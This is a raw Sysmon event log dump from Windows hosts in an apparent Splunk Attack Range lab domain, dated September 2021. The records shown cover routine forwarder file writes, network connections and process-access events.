AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local57242- 23542300x800000000000000051888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:42.881{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E762625A7AD7CA30E22FD484B67629F8,SHA256=745743B9BCB782901812350EA7D1A33E5CC84B3F9B12255E01B0CD5E4C0FE745,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016642Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:42.230{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D49B173153A0263714CDDB0202DBF2F5,SHA256=893165B7157201FE76E76971A5244668E47D949E71A033CD1E76F29F298B545C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:40.504{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59601-false10.0.1.12-8000- 23542300x800000000000000051889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:43.898{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A744DFF62F9E31C7F05B1A162D98A26F,SHA256=1C11908B0334E7764EC2305D02E21887FA0450139A062585326067D695135F91,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016644Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:42.489{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50302-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016643Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:43.246{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=64E617252DC32CEA30864FD8D54C396C,SHA256=B2D4602F041FEBACB50817C12A4C532ACC45CAD6C8C0DFBA24B0ACDB32E685F6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:44.980{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C94EA860AC47411146B4021B3F11939,SHA256=3A6388806F7D927814CD22170FD8C495A2A917E909A53B3C12AEF0EAE81BACC1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016645Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:44.261{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00E44171053B26E685E32C23B5EECAE7,SHA256=FC6ADA55B237AAD15C57993FD1A818C9C4A1974EC0FCE4BB6F21E7184B3A6E0C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:45.981{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=094F78B3C55B346B06ECF1DB8082A94A,SHA256=235065CE9175AACD0DC09C02392A73D6826D3C28FEC93A15656359282FA9C933,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016646Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:45.293{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=750CBF43B34AD6259FA0BD750982F530,SHA256=FBB3D77916B2634E93FBF78D500A41E46F8573896051B23CC12FEAFFB4D6A713,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016647Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:46.308{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=42CCDDA02CA335761AD938862605851C,SHA256=8FB125DA3CCF84E87F83EB7D240A685D3551846920F22517C6B81BBCE641E67E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016648Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:47.340{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4B460110D12B2B3613D11CFE57BB0B0F,SHA256=5050FFAE1FC48328BF2C93EB32995AE9FA4B1F1A1CC34921B2A0FC0472712F63,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:45.538{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59602-false10.0.1.12-8000- 23542300x800000000000000051892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:47.034{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7AB335787CA45CB7BB007960B0A85873,SHA256=07AB2D4CA0D8CF873BB6E705BE111F9B10B98BA2F2BB1EC7FBA11B546A92E9E8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016650Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:47.567{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50303-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016649Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:48.355{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6F72F05CB36B9D4AA5ACB6B0C1CA5985,SHA256=DEC98F9A9CFA28FB3AFDE9516AED35973AB58127455A1669EA3600F69BC9FE43,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:48.080{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9E281D158C8D0710A3D8E781BC6DC0E,SHA256=E76DF8FEBE5811EC3FF693B6602CDD2AD1D03A7937550F7A09A71348CC42A359,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016651Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:49.371{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=552945AC86D9862CE42AA8F485590FDF,SHA256=7151212729E9EDED4C8788BA9C3187EA30DA5B3AA40A553C3CA983FB28CDBBAA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:49.148{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=258F1F2CC710CEB1330245CBD41E6D3B,SHA256=637C2B0FF0FFC548CB806AEE83C67D52A5D91A8FBBA333D8520771C7B19FC88F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:49.096{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 23542300x800000000000000016652Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:50.402{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D521BF5EE3095643FC435ECB3A320CB1,SHA256=4588624E1C26EF01D79AA3B109CF73357AC2E3CF1FCB3F6376AD54AE28C26711,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000051898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:50.593{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-0E00-00000000F001}996C:\Windows\system32\LogonUI.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:50.178{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3A071900B71DF4A3840B1492364BF5C1,SHA256=FD5F473330AF9AC682222F0EB9A0357FD3EF6673F9053ADD6F561433DD49FEA4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016653Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:51.430{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=60AE82AB6016AE1C0767EF5BF459C06F,SHA256=9FC81777DB58303F3CBB0F1624969BCB96EDC18F7B280CF9636B8974657229F9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:51.215{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0CE7A4BCCFF50973218C0C5E9956A8AB,SHA256=FFA702D90423C1FE0F5A53A070DF34E98BD94529DFFF8FA0F65E3E3F31A3E713,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016654Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:52.461{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D5E937988ACF3DFC2976913FE3ED58AB,SHA256=7B6A67DB33CB60CFA1C5A6107A07C31DC52A43E60DF0F40940C1AA456DBE068B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:52.217{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=93A4EF35EA6B848BB89A5F3D150A7210,SHA256=1485849F8ADF18DF5B1FDE29048CAA5D82CCF7189A43AB62909FA424CE09135B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016655Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:53.492{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=246FC5312043021AA88818043889792E,SHA256=313F50BB6A0D23299B5700D8C20015FD415BADB6488EDED894AF0C791A871CED,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:51.495{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59603-false10.0.1.12-8000- 23542300x800000000000000051901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:53.247{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9C7F820AB98DE24FF609B58D27456265,SHA256=EC9EDC5CF54E1BA0FBBB6F9960EDF96FC8B863663D3E0056E5E909B5A00F7DD0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016656Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:54.508{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=69D6327EE85D7271826031B91D1BF827,SHA256=BAACB0A87D8EE65C36AAF1E855AABB475F845B281CC5119930B36F01DA046A08,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:54.248{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0FDAC13727E62056392B7BB9A9EA68D9,SHA256=9187C082112BF13FD2CDDF23497FD6B5A7A27E9A21EF31F81C4895F464199C61,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:54.117{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=833E5B9379BE058ADA9DE656124BF7F1,SHA256=7EB9ACCE904427F61DA8640F472660C6FA8E7DC9751E792385A4115EE02C3658,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:54.117{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=5585FE52EC6FD3D3F0F5D6D6910B0DAE,SHA256=94167904D4E1E3A47C3D4D658CC2A6CBC58AF19447BAA4134FD8C24435A1672C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:54.117{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=149B8DC06D3308363DAA507955459593,SHA256=469366E7444D10DE8059C22ED70298634751EB2FE6DDBC691C90A6F9D8EE0810,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:54.117{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=B667469E8E0CEE858A586E343D6B4648,SHA256=D46C669E22A5E83030D7A5FC330D0A6A6DC1F19B2DE73B4E8A34123055080995,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:54.117{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=96CFD715A1FDCB9A88AD1C929684D69C,SHA256=533F9576450DD000526FBD7AAE7E6710F2FCF471264C868CB58E4832E78B5814,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016659Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:55.539{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=071E340833EA6951C66514175C3E420C,SHA256=A58EEFBDC8CDC59D1B9D8168C75C8D3BF9FDE251EC0019A10E73E24F88EA9FA0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:55.332{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB5984497E8D01A72A07672B236A5BE3,SHA256=3529EB9E22C67B0AE5ECD9A40F020334A5DA6141DA7F38BCDD419E2FCA7CAA87,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016658Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:53.407{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50304-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016657Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:55.039{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:56.946{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FFBAFB4F9F6F820258417B3BDF128DB4,SHA256=18AF0E0D162DA6651559B6A3A3F4D270ED4F95FFBC07ECC087F1894BB2F9D6D1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:56.946{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CEB238A15D603A55205FD42DC4BFC073,SHA256=7F46BB8E2EA846F1AD48E4A0FC15190D8059CDC9CF6CE8B11BC0C5437D370BCE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:56.446{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6FA5C2CAFCB01E0AB2D126F27227EB30,SHA256=4977DADBB4F722E97818F24D584F83A8F19436BDB141F2098A4546B34621BCE3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016660Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:56.539{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C5C87D87EAB9F320FAC780756BA253C9,SHA256=B989A42858AE5C7D378D911827C4B02A7D4EEE5872EAA672897836AF5419D23B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000051910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:56.048{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-65AD-613B-0100-00000000F001}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30929|C:\Windows\system32\lsasrv.dll+2e287|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 23542300x800000000000000016662Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:57.555{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F0D7684F72F4288FC0350EE38B5FA520,SHA256=946575B1D6BAA4BA2428B60EFB608960CF02B35BE5B666786188C57740B54318,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:55.356{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59606-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 23542300x800000000000000051919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:57.497{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 